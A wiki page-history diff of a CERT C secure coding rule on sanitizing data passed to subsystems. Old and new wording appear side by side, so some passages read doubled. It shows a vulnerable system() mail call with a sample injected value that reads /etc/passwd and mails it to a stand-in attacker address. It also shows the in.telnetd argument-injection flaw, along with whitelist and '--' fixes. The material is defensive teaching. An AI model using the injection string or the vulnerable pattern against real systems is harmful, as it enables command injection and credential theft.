Page History

String data passed to complex subsystems may contain special characters that can trigger commands or actions, resulting in a software vulnerability. As a result, it is necessary to sanatize sanitize all string data passed to complex subsystems including, but not limited to:complex subsystems so that the resulting string is innocuous in the context in which it will be interpreted.

These are some examples of complex subsystems:

• Command command processor via a call to system() or similar function
• relational databases
• third-party COTS components (e.g.,
• (also addressed in ENV03-C. Sanitize the environment when invoking external programs)
• External programs
• Relational databases
• Third-party commercial off-the-shelf components (for example, an enterprise resource planning subsystem)

Noncompliant Code Example

Data sanitization requires an understanding of the data being passed and the capabilities of the subsystem. John Viega and Matt Messier provide an example of an application that inputs an email address to a buffer and then uses this string as an argument in a call to system() [Viega 2003]:

sprintf(buffer, "/bin/mail %s < /tmp/email", addr);
system(buffer);

The risk, of course, is that the user enters the following string as an email address:

bogus@addr.com; cat /etc/passwd  | mail some@badguy.net

For more information on the system() call, see ENV03-C. Sanitize the environment when invoking external programs and ENV33-C. Do not call system().

Compliant Solution

It is necessary to ensure that all valid data is accepted, while potentially dangerous data is rejected or sanitized. Doing so can be difficult when valid characters or sequences of characters also have special meaning to the subsystem and may involve validating the data against a grammar. In cases where there is no overlap, whitelisting can be used to eliminate dangerous characters from the data.

The whitelisting A better approach to data sanitization is to define a list of acceptable characters
and remove any character that is not acceptable. The list of valid input values
is typically a predictable, well-defined set of manageable size. For example,
consider This compliant solution, based on the tcp_wrappers package written by Wietse Venema and shown in
Figure 8-7., shows the whitelisting approach:

static char ok_chars[] = "abcdefghijklmnopqrstuvwxyz"
                         "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
                         "1234567890_-.@";
char user_data[] = "Bad char 1:} Bad char 2:{";
char *cp = user_data; /* Cursor into string */
const char *end = user_data + strlen( user_data);
for (cp += strspn(cp, ok_chars); cp != end; cp += strspn(cp, ok_chars)) {
  *cp = '_';
}

The benefit of whitelisting The benefit of white listing is that a programmer can be certain that a
string contains only characters that are considered safe by the programmer.
White listing Whitelisting is recommended over black listing because, instead of having
to trap blacklisting, which traps all unacceptable characters, because the programmer needs only needs to ensure that
acceptable characters are identified. As a result, the programmer can be less
concerned about which characters an attacker may try in an attempt to bypass
security checks.

static char ok_chars[] = "abcdefghijklmnopqrstuvwxyz\
ABCDEFGHIJKLMNOPQRSTUVWXYZ\
1234567890_-.@";
char user_data[] = "Bad char 1:} Bad char 2:{";
char cp; / cursor into string */
for (cp = user_data; *(cp += strspn(cp, ok_chars)); )
*cp = '_';

References

Noncompliant Code Example

This noncompliant code example is taken from [VU#881872], a vulnerability in the Sun Solaris TELNET daemon (in.telnetd) that allows a remote attacker to log on to the system with elevated privileges.

The vulnerability in in.telnetd invokes the login program by calling execl(). This call passes unsanitized data from an untrusted source (the USER environment variable) as an argument to the login program:

(void) execl(LOGIN_PROGRAM, "login",
  "-p",
  "-d", slavename,
  "-h", host,
  "-s", pam_svc_name,
  (AuthenticatingUser != NULL ? AuthenticatingUser :
  getenv("USER")),
  0);

An attacker, in this case, can gain unauthenticated access to a system by setting the USER environment variable to a string, which is interpreted as an additional command-line option by the login program. This kind of attack is called argument injection.

Compliant Solution

This compliant solution inserts the "--" (double dash) argument before the call to getenv("USER") in the call to execl():

(void) execl(LOGIN_PROGRAM, "login",
  "-p",
  "-d", slavename,
  "-h", host,
  "-s", pam_svc_name,
  "--",
  (AuthenticatingUser != NULL ? AuthenticatingUser :
  getenv("USER")), 0);

Because the login program uses the POSIX getopt() function to parse command-line arguments, and because the "--" option causes getopt() to stop interpreting options in the argument list, the USER variable cannot be used by an attacker to inject an additional command-line option. This is a valid means of sanitizing the untrusted user data in this context because the behavior of the interpretation of the resulting string is rendered innocuous.

The call to execl() is not susceptible to command injection because the shell command interpreter is not invoked. (See ENV33-C. Do not call system().)

Risk Assessment

Failure to sanitize data passed to a complex subsystem can lead to an injection attack, data integrity issues, and a loss of sensitive data.

Automated Detection

Related Vulnerabilities

Search for vulnerabilities resulting from the violation of this rule on the CERT website.

Related Guidelines

Bibliography

...

Image Added Image Added Image Added7.20.4.6 The system function